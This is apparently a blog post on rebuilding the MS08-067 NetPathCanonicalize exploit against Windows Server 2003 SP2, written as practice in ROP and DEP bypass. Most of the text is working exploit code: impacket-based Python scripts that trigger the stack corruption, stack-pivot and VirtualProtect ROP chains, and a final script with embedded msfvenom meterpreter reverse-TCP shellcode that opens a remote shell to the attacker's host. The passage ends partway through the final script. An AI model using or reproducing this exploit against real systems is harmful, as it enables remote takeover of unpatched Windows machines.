In this post we will dive into and old MSRPC Vulnerabilty specifically NetPathCanonicalize .
Understanding the bug
The vulnerabilty is a stack corruption bug, in short the main objective is to remove ‘..' form a path, and do so its using a recursive call, the problem happends when the ‘..' forces the recution to go beyond the last element of the path.
You can find the full bug analysis decompiling-ms08-067
Its old bug…
Yes, theirs lots of information and seemd a good exercise, as the main objective was to recreate the exploit and later try to build the x64 bit version of it, i decided to change things a bit and attempt to use a diferent method to bypass DEP most of the exploits i seen around for Windows 2k3 sp2 use the NtSetInformationProcess this brings some limitations among them the fact that will fail if AlwaysOn policy mode is on it will fail, check out corelan , for the full explanation.
Changing things helps one to practice and since ROP is usualy described as some kind of black magic, better way to understand it is to practice as much as you can.
Trigger the Bug
The tools of the trade are the usual, Immunity debugger and mona , if you don’t know what does are you’r probably trying to run before your know how to walk….. you definity need to learn how to walk first!
The main dependency is python impacket we will use this one to connect to the service and send our poisoned present :D, another detail you might have seen is the cryptic look of the paylod of most exploits that look like the following.
# unknown ref ID
ref_id = ' \x01\x00\x00\x00 ' # Reference ID
# Server name must be a unic string
server_name = ' \x10\x00\x00\x00 ' # Server UNC - MAx Buffer Count
server_name += ' \x00\x00\x00\x00 ' # Offset
server_name += ' \x10\x00\x00\x00 ' # Server UNC - Actual Buffer Count
server_name += ' \x50\x50 ' * 15 # Server UNC - Buffer Content
server_name += ' \x00\x00 ' * 1 # Server UNC - Trailing Null bytes
# RPC PATH PathName
path_name = ' \x2f\x00\x00\x00 ' # RPC Path - Max Buffer Count
path_name += ' \x00\x00\x00\x00 ' # Offset
path_name += ' \x2f\x00\x00\x00 ' # RPC Path - Actual Buffer Count
# Trigger
path_name += ' \x5c\x00\x45\x00\x5c\x00\x2e\x00 '
path_name += ' \x2e\x00\x5c\x00\x2e\x00\x2e\x00 '
path_name += ' \x5c\x00 '
# Remaining Buffer
path_name += ' \x41 ' * 74 # Remaining RPC Path Buffer
path_name += ' \x00\x00 ' * 1 # RPC Path Trailing Null bytes
# Outbuflen
outbuf_len = ' \x00\x00 ' # Padding
outbuf_len += ' \x01\x00\x00\x00 ' # Max Buffer Count
# Prefix
prefix = ' \x02\x00\x00\x00 ' # Prefix - Max Unicode Count
prefix += ' \x00\x00\x00\x00 ' # Offset
prefix += ' \x02\x00\x00\x00 ' # Prefix - Actual Unicode Count
prefix += ' \x5c\x00\x00\x00 ' # Prefix + Trailing Null Bytes
# Path Type
path_type = ' \x01\x00\x00\x00 ' # Pointer to Path Type
path_type += ' \x01\x00 ' # Path type and flags
# Flags
flags = ' \x00\x00 ' # Flags
Ok that might not seem easy to digest, but after you look at the code that crytic strings will make alot of sence.
Essentially, that payload is in the final format that MSRPC understands in this case they are NDR types and before they are sent the data to be sent needs to be formated that way, it all become clear later.
The vunerable function signature is as follows:
NET_API_STATUS NetprPathCanonicalize (
[ in , string , unique ] SRVSVC_HANDLE ServerName ,
[ in , string ] WCHAR * PathName , <- Vulnerable parameter
[ out , size_is ( OutbufLen )] unsigned char * Outbuf ,
[ in , range ( 0 , 64000 )] DWORD OutbufLen ,
[ in , string ] WCHAR * Prefix ,
[ in , out ] DWORD * PathType ,
[ in ] DWORD Flags
);
The way to trigger the bug is to send it a path that makes the algorithm go beyond the last “\”, and it will do so until he finds a “\” a copies from their to the end of the string.
They are many ways to trigger the error without making it chase its own tail to oblivion here are some of them.
" \\ A \\ .. \\ .. \\ " + "A" * 74
And the one you can find at the metasploit implementation of the exploit, initialy tryed the first one when i started working on the rop chain, realised space was short, so i decided to go with the metasploit version, but building that in the format you see above is royal pain the ass, so i after looking around i finaly understood how they were building that so there are the funtions that will be used to craft that cryptic string.
def ndr_long ( value ):
return pack ( "<L" , value )
def ndr_aling ( value ):
return " \x00 " * (( 4 - ( len ( value ) & 3 )) & 3 )
def ndr_uwstring ( value ):
value = value + " \x00 "
rvalue = ndr_long ( randint ( 1 , 0xffffffff ))
length = ndr_long ( len ( value ))
utf16_value = value . encode ( "utf-16le" )
aligned_utf16_value = ndr_aling ( utf16_value )
return rvalue + length + ndr_long ( 0 ) + length + utf16_value + aligned_utf16_value
def ndr_wstring ( value ):
value = value + " \x00 "
length = ndr_long ( len ( value ))
utf16_value = value . encode ( "utf-16le" )
aligned_utf16_value = ndr_aling ( utf16_value )
return length + ndr_long ( 0 ) + length + utf16_value + aligned_utf16_value
def ndr_wstring_prebuilt ( value ):
if len ( value ) % 2 > 0 :
value = value + " \x00 "
length = len ( value ) / 2
llength = ndr_long ( length )
return llength + ndr_long ( 0 ) + llength + value + ndr_aling ( value )
As incredible as it might seem the simplest implementation was taken from metasploit!!! yeah probably the first time i was able to understand ruby :P, i tryed to use the python impacket type implementation but i wasn’t able to trigger the bug, not realy shore why, the above is far for an acurate its only correct enough to go beyond the initial service checks and trigger the bug.
BLAH BLAH BLAH Show us the crash, OK…
So the code for that crash is as follows:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
from struct import pack
from string import ascii_uppercase
from random import randint
from random import choice
from impacket import smb
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
def ndr_long ( value ):
return pack ( "<L" , value )
def ndr_aling ( value ):
return " \x00 " * (( 4 - ( len ( value ) & 3 )) & 3 )
def ndr_uwstring ( value ):
value = value + " \x00 "
rvalue = ndr_long ( randint ( 1 , 0xffffffff ))
length = ndr_long ( len ( value ))
utf16_value = value . encode ( "utf-16le" )
aligned_utf16_value = ndr_aling ( utf16_value )
return rvalue + length + ndr_long ( 0 ) + length + utf16_value + aligned_utf16_value
def ndr_wstring ( value ):
value = value + " \x00 "
length = ndr_long ( len ( value ))
utf16_value = value . encode ( "utf-16le" )
aligned_utf16_value = ndr_aling ( utf16_value )
return length + ndr_long ( 0 ) + length + utf16_value + aligned_utf16_value
def ndr_wstring_prebuilt ( value ):
if len ( value ) % 2 > 0 :
value = value + " \x00 "
length = len ( value ) / 2
return ndr_long ( length ) + ndr_long ( 0 ) + ndr_long ( length ) + value + ndr_aling ( value )
def rand_text_alpha ( length ):
return '' . join ( choice ( ascii_uppercase ) for _ in range ( length ))
def to_unicode ( value ):
return value . encode ( "utf-16le" )
def connect ( target ):
trans = transport . DCERPCTransportFactory ( 'ncacn_np:%s[ \\ pipe \\ browser]' % target )
try :
trans . connect ()
print "[*] \t Connected to %s " % target
except :
print "[*] \t Connection fault"
exit ()
dce = trans . DCERPC_class ( trans )
dce . bind ( uuid . uuidtup_to_bin (( '4b324fc8-1670-01d3-1278-5a47bf6ee188' , '3.0' )))
print "[*] \t Binding"
return dce
"""
# NET_API_STATUS NetprPathCanonicalize(
# [in, string, unique] SRVSVC_HANDLE ServerName,
# [in, string] WCHAR* PathName,
# [out, size_is(OutbufLen)] unsigned char* Outbuf,
# [in, range(0,64000)] DWORD OutbufLen,
# [in, string] WCHAR* Prefix,
# [in, out] DWORD* PathType,
# [in] DWORD Flags
# );
"""
def build_payload ():
"""
"""
server = "P" * 6
prefix = ' \\ '
outbuf = 2
path_type = 1
flags = 0
# path setup
trigger = to_unicode ( " \\ .. \\ .. \\ " )
fbpath = "A" * 508
pad = to_unicode ( "ACSDPOX" )
spath = "B" * 78
path = to_unicode ( prefix ) + fbpath + trigger + pad + spath + " \x00 " * 2
print len ( path )
# Create the call stub string
stub = ndr_uwstring ( server )
stub += ndr_wstring_prebuilt ( path )
stub += ndr_long ( outbuf )
stub += ndr_wstring ( prefix )
stub += ndr_long ( path_type )
stub += ndr_long ( flags )
return stub
def exploit ( dce ):
stub = build_payload ()
print "[*] \t Call stub size %s" % len ( stub )
#NetPathCanonicalize func. opcode 0x1f
dce . call ( 0x1f , stub )
if __name__ == "__main__" :
if len ( sys . argv ) == 2 :
target = sys . argv [ 1 ]
dce = connect ( target )
if dce is not None :
print "[*] \t Building exploit string"
exploit ( dce )
print "[*] \t Payload delivered"
Control EIP
From their, you go the usual dance find the offsets, to control EIP you can use the pattern trick, for that you will replace the 78 B’s with the pattern and fire the exploit again the crash should look like this:
The Change to the result above is:
trigger = to_unicode ( " \\ .. \\ .. \\ " )
fbpath = "A" * 508
pad = to_unicode ( "ACSDPOX" )
# size: 78
spath = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5"
path = to_unicode ( prefix ) + fbpath + trigger + pad + spath + " \x00 " * 2
print "Evil path size: %s" % len ( path )
After that we control the EIP its time to call our secret weapon, MONA.py , and search for rop chains and stack pivots, the idea was to use the space full of A’s to store the DEP ROP and shellcode for that we will use the remainding space to build a rop chain and jump into that area.
Rop your way into the shellcode
After running mona with “stackpivot -cpd ‘\x00\x0a\x0d’ -m msvcrt.dll,shell32.dll”, i decided to go with:
ADD ESP , 30 # POP EDX # RETN [msvcrt.dll]
Given that you need figger out the offets after each jump, after that our rop jump trick should have suscessfuly landed into the A’s so things will look like the following:
jump = pack ( "<L" , 0x77BDF444 )
stackpivot = [
jump , # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
" \x44 " * 14 ,
jump , # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
jump , # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
jump , # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
jump , # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
" \x46 " * 2 ,
jump , # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
" \x46 " * 16 ,
jump , # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
]
return '' . join ( stackpivot )
Disable DEP
Ok, that one is out of the picture i’m shore their are other ways to do that probably even better, with that out of the way the next step is to find out the offset in 508 A’s, the process is same as before replace it with a patttern get the offset it was 98 bytes from the begining, this means that our DEP ROP bypass will start their.
With the help of mona again to collect rop gagets and suggestions, things become a lot easier than they use to be, most of the heavy lifting is done by the script you just need to check it and make shore its correct give it a tweek here and their.
# rop chain generated with mona.py - www.corelan.be
0x77bc5f6e , # POP EAX # RETN [msvcrt.dll]
0x7c8d1748 , # ptr to &VirtualProtect() [IAT SHELL32.dll]
0x7c9db891 , # MOV EAX,DWORD PTR DS:[EAX] # RETN [SHELL32.dll]
0x77bb0c86 , # XCHG EAX,ESI # RETN [msvcrt.dll]
0x77bac145 , # POP EBP # RETN [msvcrt.dll]
0x7c9b640c , # & jmp esp [SHELL32.dll]
0x7c946761 , # POP EAX # RETN [SHELL32.dll]
0xfffffdff , # Value to negate, will become 0x00000201
0x7c9b2676 , # NEG EAX # RETN [SHELL32.dll]
0x7ca2a6af , # XCHG EAX,EBX # RETN [SHELL32.dll]
0x77bdf0da , # POP EAX # RETN [msvcrt.dll]
0xffffffc0 , # Value to negate, will become 0x00000040
0x7c9b2676 , # NEG EAX # RETN [SHELL32.dll]
0x77bb8285 , # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77bbc98a , # POP ECX # RETN [msvcrt.dll]
0x7cadc046 , # &Writable location [SHELL32.dll]
0x7c92940e , # POP EDI # RETN [SHELL32.dll]
0x7c9b2678 , # RETN (ROP NOP) [SHELL32.dll]
0x77bdf0da , # POP EAX # RETN [msvcrt.dll]
0x90909090 , # nop
0x7c8f417c , # PUSHAD # RETN [SHELL32.dll]
Alignment and shellcode
Ajust the poc exploit and place the breakpoints and replace the rest of the payload after the DEP ROP with NOPS or 0xCC breapoints, make shore everithing is correct, and check where EIP will point to after returning from ourt VirtualProtect ROP Chain .
You will notice that it will require 4 NOPS followed by the stack ajustment that is the same metasploit is using, at this stage i was preaty confident that i had something the problem was space was geting short, soc before we go further our poc exploit by now looks like this:
#!/usr/bin/python
# -*- coding: utf-8 -*-
##################################################################################
#
# Vulnerability: NetPathCanonicalize Stack corruption
# Dep bypass with VirtualProtect
# Author: 0x4E0x650x6F
##################################################################################
import sys
from struct import pack
from string import ascii_uppercase
from random import randint
from random import choice
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
SHELLCODE = ()
"""
NDR Type build functions
This will be used to 'format' the string
in a way that is compatible with what Windows MSRPC
service expects
"""
def ndr_long ( value ):
return pack ( "<L" , value )
def ndr_aling ( value ):
return " \x00 " * (( 4 - ( len ( value ) & 3 )) & 3 )
def ndr_uwstring ( value ):
value = value + " \x00 "
rvalue = ndr_long ( randint ( 1 , 0xffffffff ))
length = ndr_long ( len ( value ))
utf16_value = value . encode ( "utf-16le" )
aligned_utf16_value = ndr_aling ( utf16_value )
return rvalue + length + ndr_long ( 0 ) + length + utf16_value + aligned_utf16_value
def ndr_wstring ( value ):
value = value + " \x00 "
length = ndr_long ( len ( value ))
utf16_value = value . encode ( "utf-16le" )
aligned_utf16_value = ndr_aling ( utf16_value )
return length + ndr_long ( 0 ) + length + utf16_value + aligned_utf16_value
def ndr_wstring_prebuilt ( value ):
if len ( value ) % 2 > 0 :
value = value + " \x00 "
length = len ( value ) / 2
llength = ndr_long ( length )
return llength + ndr_long ( 0 ) + llength + value + ndr_aling ( value )
def rand_text_alpha ( length ):
return '' . join ( choice ( ascii_uppercase ) for _ in range ( length ))
def to_unicode ( value ):
return value . encode ( "utf-16le" )
def connect ( target ):
trans = transport . DCERPCTransportFactory ( 'ncacn_np:%s[ \\ pipe \\ browser]' % target )
try :
trans . connect ()
print "[*] \t Connected to %s " % target
except :
print "[*] \t Connection fault"
exit ()
dce = trans . DCERPC_class ( trans )
dce . bind ( uuid . uuidtup_to_bin (( '4b324fc8-1670-01d3-1278-5a47bf6ee188' , '3.0' )))
print "[*] \t Binding"
return dce
def jmprop ():
rop1 = pack ( "<L" , 0x77BDF444 )
offsets = [ 0 , 18 , 36 , 56 ],
rop2 = rop1 * 4
stackpivot = list ( " \x44 " * 60 )
stackpivot [ 0 : len ( rop1 )] = rop1
stackpivot [ 18 : ( len ( rop2 ) + 18 )] = rop2
stackpivot [ 36 : ( len ( rop1 ) + 36 )] = rop1
stackpivot [ 56 : ( len ( rop1 ) + 56 )] = rop1
return '' . join ( stackpivot )
def deprop ():
"""
rop -m msvcrt.dll,shell32.dll -cpb ' \x00\x0a\x0d '
rop chain generated with mona.py - www.corelan.be
Register setup for VirtualProtect() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
"""
rop_gadgets = [
0x77bc5f6e , # POP EAX # RETN [msvcrt.dll]
0x7c8d1748 , # ptr to &VirtualProtect() [IAT SHELL32.dll]
0x7c9db891 , # MOV EAX,DWORD PTR DS:[EAX] # RETN [SHELL32.dll]
0x77bb0c86 , # XCHG EAX,ESI # RETN [msvcrt.dll]
0x77bac145 , # POP EBP # RETN [msvcrt.dll]
0x7c9b640c , # & jmp esp [SHELL32.dll]
0x7c946761 , # POP EAX # RETN [SHELL32.dll]
0xfffffdff , # Value to negate, will become 0x00000201
0x7c9b2676 , # NEG EAX # RETN [SHELL32.dll]
0x7ca2a6af , # XCHG EAX,EBX # RETN [SHELL32.dll]
0x77bdf0da , # POP EAX # RETN [msvcrt.dll]
0xffffffc0 , # Value to negate, will become 0x00000040
0x7c9b2676 , # NEG EAX # RETN [SHELL32.dll]
0x77bb8285 , # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77bbc98a , # POP ECX # RETN [msvcrt.dll]
0x7cadc046 , # &Writable location [SHELL32.dll]
0x7c92940e , # POP EDI # RETN [SHELL32.dll]
0x7c9b2678 , # RETN (ROP NOP) [SHELL32.dll]
0x77bdf0da , # POP EAX # RETN [msvcrt.dll]
0x90909090 , # nop
0x7c8f417c , # PUSHAD # RETN [SHELL32.dll]
]
return '' . join ( pack ( '<I' , _ ) for _ in rop_gadgets )
def payload ():
plsize = 508
ploffset = 106
plnops = 4
stkalign = " \x81\xE4\xF0\xFF\xFF\xFF "
rop = deprop ()
nops = " \x90 " * ( plsize - ploffset )
payload = list ( ' \x41 ' * plsize )
payload [ ploffset : ( ploffset + len ( nops ))] = nops
# prepare the shellcode parts
# calc offsets
depoffset = ( ploffset + len ( rop ))
salinoffset = ( depoffset + plnops )
shellcodeffset = ( depoffset + plnops + len ( stkalign ))
# assemble
payload [ ploffset : depoffset ] = rop
payload [ salinoffset : shellcodeffset ] = stkalign
payload [ shellcodeffset : ( shellcodeffset + len ( SHELLCODE ))] = SHELLCODE
return '' . join ( payload )
def exploit ( target ):
"""
NET_API_STATUS NetprPathCanonicalize(
[in, string, unique] SRVSVC_HANDLE ServerName,
[in, string] WCHAR* PathName, <- Vulnerable parameter
[out, size_is(OutbufLen)] unsigned char* Outbuf,
[in, range(0,64000)] DWORD OutbufLen,
[in, string] WCHAR* Prefix,
[in, out] DWORD* PathType,
[in] DWORD Flags
);
The evil path Size will be 618 the path format will be similar to metasploit:
[UNICODE PREFIX][payload 508][trigger 14][pading 14][landing buffer 78][null 2]
"""
jumperoffset = 4
ldsize = 78
SERVER_LENGTH = 6
server = rand_text_alpha ( SERVER_LENGTH )
prefix = ' \\ '
outbuf = 2
path_type = 1
flags = 0
trigger = to_unicode ( " \\ .. \\ .. \\ " )
pad = to_unicode ( "ACSDPOX" )
pyload = payload ()
jumper_rop = jmprop ()
jumper = list ( " \x42 " * ldsize )
jumper [ jumperoffset :( jumperoffset + len ( jumper_rop ))] = jumper_rop
path = to_unicode ( prefix ) + pyload + trigger + pad + '' . join ( jumper ) + " \x00 " * 2
print "Evil Jumper size: %s " % len ( jumper )
print "Evil Payload size: %s " % len ( pyload )
print "Evil Path size: %s " % len ( path )
# Create the call stub string
stub = ndr_uwstring ( server )
stub += ndr_wstring_prebuilt ( path )
stub += ndr_long ( outbuf )
stub += ndr_wstring ( prefix )
stub += ndr_long ( path_type )
stub += ndr_long ( flags )
dce = connect ( target )
print "[*] \t Call stub size %s" % len ( stub )
# NetPathCanonicalize func. opcode 0x1f
dce . call ( 0x1f , stub )
print "[*] \t Payload delivered"
if __name__ == "__main__" :
if len ( sys . argv ) == 2 :
target = sys . argv [ 1 ]
print "[*] \t Target: %s" % ( target )
exploit ( target )
else :
print "[*] \t %s <ipaddress>" % sys . argv [ 0 ]
The moment of truth do we have space of a shell.
##PROFIT
Turns out metasploit did work his magic and pulled that one off heheheheh, 306 bytes SWEET.
msfvenom -- platform windows - p windows / meterpreter / reverse_tcp - a x86 \
- b ' \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40 ' LHOST = 192.168 . 136.1 LPORT = 4444 -- smallest - f py
Payload size : 306 bytes
Final size of py file : 1474 bytes
After some ajustements and and code formating our final exploit looks like this:
#!/usr/bin/python
# -*- coding: utf-8 -*-
##################################################################################
#
# Vulnerability: NetPathCanonicalize Stack corruption
# Dep bypass with VirtualProtect
# Author: 0x4E0x650x6F
##################################################################################
import sys
from struct import pack
from string import ascii_uppercase
from random import randint
from random import choice
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
TARGETS = {
"win2k3sp2" : {
# The avaliable space for rop + shellcode
"size" : 508 ,
# Size of the string where EIP will end up after
# triggering the crash
"ldsize" : 78 ,
# Offset where EIP lands after triggering the crash
"retoffset" : 4 ,
# 98 of the 508 chars will not show on the stack
# plus 8 bytes to aling EIP with initial ropery jumps
"ploffset" : 106 ,
# Stack privot rop chain offsets
"stkpivotoffset" : [ 0 , 18 , 36 , 56 ],
# To aling the stack and allow the shellcode to run
# properly we need to pre append 4 NOPS otherwize
# shellcode will crash
"plnops" : 4 ,
# stack alignment same as metasploit
"stkalign" : " \x81\xE4\xF0\xFF\xFF\xFF " ,
# Found with mona will be used to jump into
# DEP bypass + shellcode
# ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
"stkpivot" : pack ( "<L" , 0x77BDF444 ),
}
}
# msfvenom --platform windows -p windows/meterpreter/reverse_tcp -a x86
# -b '\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40' LHOST=192.168.136.1 LPORT=4444 --smallest -f py
#Payload size: 306 bytes
#Final size of py file: 1474 bytes
SHELLCODE = (
" \x6a\x47\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13 "
" \xf4\x7a\x8e\x94\x83\xeb\xfc\xe2\xf4\x08\x92\x0c\x94 "
" \xf4\x7a\xee\x1d\x11\x4b\x4e\xf0\x7f\x2a\xbe\x1f\xa6 "
" \x76\x05\xc6\xe0\xf1\xfc\xbc\xfb\xcd\xc4\xb2\xc5\x85 "
" \x22\xa8\x95\x06\x8c\xb8\xd4\xbb\x41\x99\xf5\xbd\x6c "
" \x66\xa6\x2d\x05\xc6\xe4\xf1\xc4\xa8\x7f\x36\x9f\xec "
" \x17\x32\x8f\x45\xa5\xf1\xd7\xb4\xf5\xa9\x05\xdd\xec "
" \x99\xb4\xdd\x7f\x4e\x05\x95\x22\x4b\x71\x38\x35\xb5 "
" \x83\x95\x33\x42\x6e\xe1\x02\x79\xf3\x6c\xcf\x07\xaa "
" \xe1\x10\x22\x05\xcc\xd0\x7b\x5d\xf2\x7f\x76\xc5\x1f "
" \xac\x66\x8f\x47\x7f\x7e\x05\x95\x24\xf3\xca\xb0\xd0 "
" \x21\xd5\xf5\xad\x20\xdf\x6b\x14\x25\xd1\xce\x7f\x68 "
" \x65\x19\xa9\x12\xbd\xa6\xf4\x7a\xe6\xe3\x87\x48\xd1 "
" \xc0\x9c\x36\xf9\xb2\xf3\x85\x5b\x2c\x64\x7b\x8e\x94 "
" \xdd\xbe\xda\xc4\x9c\x53\x0e\xff\xf4\x85\x5b\xfe\xfe "
" \x12\x4e\x3c\x7c\x7b\xe6\x96\xf4\x6b\xd2\x1d\x12\x2a "
" \xde\xc4\xa4\x3a\xde\xd4\xa4\x12\x64\x9b\x2b\x9a\x71 "
" \x41\x63\x10\x9e\xc2\xa3\x12\x17\x31\x80\x1b\x71\x41 "
" \x71\xba\xfa\x98\x0b\x34\x86\xe1\x18\x12\x7e\x21\x56 "
" \x2c\x71\x41\x9e\x7a\xe4\x90\xa2\x2d\xe6\x96\x2d\xb2 "
" \xd1\x6b\x21\xf1\xb8\xfe\xb4\x12\x8e\x84\xf4\x7a\xd8 "
" \xfe\xf4\x12\xd6\x30\xa7\x9f\x71\x41\x67\x29\xe4\x94 "
" \xa2\x29\xd9\xfc\xf6\xa3\x46\xcb\x0b\xaf\x8f\x57\xdd "
" \xbc\xfb\x7a\x37\x7a\x8e\x94 "
)
"""
NDR Type build functions
This will be used to 'format' the string
in a way that is compatible with what Windows MSRPC
service expects
"""
def ndr_long ( value ):
return pack ( "<L" , value )
def ndr_aling ( value ):
return " \x00 " * (( 4 - ( len ( value ) & 3 )) & 3 )
def ndr_uwstring ( value ):
value = value + " \x00 "
rvalue = ndr_long ( randint ( 1 , 0xffffffff ))
length = ndr_long ( len ( value ))
utf16_value = value . encode ( "utf-16le" )
aligned_utf16_value = ndr_aling ( utf16_value )
return rvalue + length + ndr_long ( 0 ) + length + utf16_value + aligned_utf16_value
def ndr_wstring ( value ):
value = value + " \x00 "
length = ndr_long ( len ( value ))
utf16_value = value . encode ( "utf-16le" )
aligned_utf16_value = ndr_aling ( utf16_value )
return length + ndr_long ( 0 ) + length + utf16_value + aligned_utf16_value
def ndr_wstring_prebuilt ( value ):
if len ( value ) % 2 > 0 :
value = value + " \x00 "
length = len ( value ) / 2
llength = ndr_long ( length )
return llength + ndr_long ( 0 ) + llength + value + ndr_aling ( value )
def rand_text_alpha ( length ):
return '' . join ( choice ( ascii_uppercase ) for _ in range ( length ))
def to_unicode ( value ):
return value . encode ( "utf-16le" )
def connect ( target ):
trans = transport . DCERPCTransportFactory ( 'ncacn_np:%s[ \\ pipe \\ browser]' % target )
try :
trans . connect ()
print "[*] \t Connected to %s " % target
except :
print "[*] \t Connection fault"
exit ()
dce = trans . DCERPC_class ( trans )
dce . bind ( uuid . uuidtup_to_bin (( '4b324fc8-1670-01d3-1278-5a47bf6ee188' , '3.0' )))
print "[*] \t Binding"
return dce
# REAL Magic begins here!
def offsets ( platform ):
"""
An efford to avoid magic numbers!
"""
if platform in TARGETS :
return TARGETS [ platform ]
else :
return False
def jmprop ( cfg ):
"""
Size 60 stack pivots to jump to the payload
ROP format will be:
[ROP 4][junk 14][ROP 4][ROP 4][ROP 4][ROP 4][junk 2][ROP 4][junk 16][ROP 4]
After all this jumping we will land 106 bytes passed the payload buffer
"""
rop1 = cfg [ 'stkpivot' ]
offsets = cfg [ 'stkpivotoffset' ]
rop2 = rop1 * 4
stackpivot = list ( " \x44 " * 60 )
stackpivot [ offsets [ 0 ]: len ( rop1 )] = rop1
stackpivot [ offsets [ 1 ]: ( len ( rop2 ) + offsets [ 1 ])] = rop2
stackpivot [ offsets [ 2 ]: ( len ( rop1 ) + offsets [ 2 ])] = rop1
stackpivot [ offsets [ 3 ]: ( len ( rop1 ) + offsets [ 3 ])] = rop1
return '' . join ( stackpivot )
def deprop ():
"""
rop -m msvcrt.dll,shell32.dll -cpb ' \x00\x0a\x0d '
rop chain generated with mona.py - www.corelan.be
Register setup for VirtualProtect() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
"""
rop_gadgets = [
0x77bc5f6e , # POP EAX # RETN [msvcrt.dll]
0x7c8d1748 , # ptr to &VirtualProtect() [IAT SHELL32.dll]
0x7c9db891 , # MOV EAX,DWORD PTR DS:[EAX] # RETN [SHELL32.dll]
0x77bb0c86 , # XCHG EAX,ESI # RETN [msvcrt.dll]
0x77bac145 , # POP EBP # RETN [msvcrt.dll]
0x7c9b640c , # & jmp esp [SHELL32.dll]
0x7c946761 , # POP EAX # RETN [SHELL32.dll]
0xfffffdff , # Value to negate, will become 0x00000201
0x7c9b2676 , # NEG EAX # RETN [SHELL32.dll]
0x7ca2a6af , # XCHG EAX,EBX # RETN [SHELL32.dll]
0x77bdf0da , # POP EAX # RETN [msvcrt.dll]
0xffffffc0 , # Value to negate, will become 0x00000040
0x7c9b2676 , # NEG EAX # RETN [SHELL32.dll]
0x77bb8285 , # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77bbc98a , # POP ECX # RETN [msvcrt.dll]
0x7cadc046 , # &Writable location [SHELL32.dll]
0x7c92940e , # POP EDI # RETN [SHELL32.dll]
0x7c9b2678 , # RETN (ROP NOP) [SHELL32.dll]
0x77bdf0da , # POP EAX # RETN [msvcrt.dll]
0x90909090 , # nop
0x7c8f417c , # PUSHAD # RETN [SHELL32.dll]
]
return '' . join ( pack ( '<I' , _ ) for _ in rop_gadgets )
def payload ( cfg ):
plsize = cfg [ 'size' ]
ploffset = cfg [ 'ploffset' ]
plnops = cfg [ 'plnops' ]
stkalign = cfg [ 'stkalign' ]
rop = deprop ()
nops = " \x90 " * ( plsize - ploffset )
payload = list ( ' \x41 ' * plsize )
payload [ ploffset : ( ploffset + len ( nops ))] = nops
# prepare the shellcode parts
# calc offsets
depoffset = ( ploffset + len ( rop ))
salinoffset = ( depoffset + plnops )
shellcodeffset = ( depoffset + plnops + len ( stkalign ))
# assemble
payload [ ploffset : depoffset ] = rop
payload [ salinoffset : shellcodeffset ] = stkalign
payload [ shellcodeffset : ( shellcodeffset + len ( SHELLCODE ))] = SHELLCODE
return '' . join ( payload )
def exploit ( target , cfg ):
"""
NET_API_STATUS NetprPathCanonicalize(
[in, string, unique] SRVSVC_HANDLE ServerName,
[in, string] WCHAR* PathName, <- Vulnerable parameter
[out, size_is(OutbufLen)] unsigned char* Outbuf,
[in, range(0,64000)] DWORD OutbufLen,
[in, string] WCHAR* Prefix,
[in, out] DWORD* PathType,
[in] DWORD Flags
);
The evil path Size will be 618 the path format will be similar to metasploit:
[UNICODE PREFIX][payload 508][trigger 14][pading 14][landing buffer 78][null 2]
"""
jumperoffset = cfg [ 'retoffset' ]
ldsize = cfg [ 'ldsize' ]
SERVER_LENGTH = 6
server = rand_text_alpha ( SERVER_LENGTH )
prefix = ' \\ '
outbuf = 2
path_type = 1
flags = 0
trigger = to_unicode ( " \\ .. \\ .. \\ " )
pad = to_unicode ( "ACSDPOX" )
pyload = payload ( cfg )
jumper_rop = jmprop ( cfg )
jumper = list ( " \x42 " * ldsize )
jumper [ jumperoffset :( jumperoffset + len ( jumper_rop ))] = jumper_rop
path = to_unicode ( prefix ) + pyload + trigger + pad + '' . join ( jumper ) + " \x00 " * 2
print "Evil Jumper size: %s " % len ( jumper )
print "Evil Payload size: %s " % len ( pyload )
print "Evil Path size: %s " % len ( path )
# Create the call stub string
stub = ndr_uwstring ( server )
stub += ndr_wstring_prebuilt ( path )
stub += ndr_long ( outbuf )
stub += ndr_wstring ( prefix )
stub += ndr_long ( path_type )
stub += ndr_long ( flags )
dce = connect ( target )
print "[*] \t Call stub size %s" % len ( stub )
# NetPathCanonicalize func. opcode 0x1f
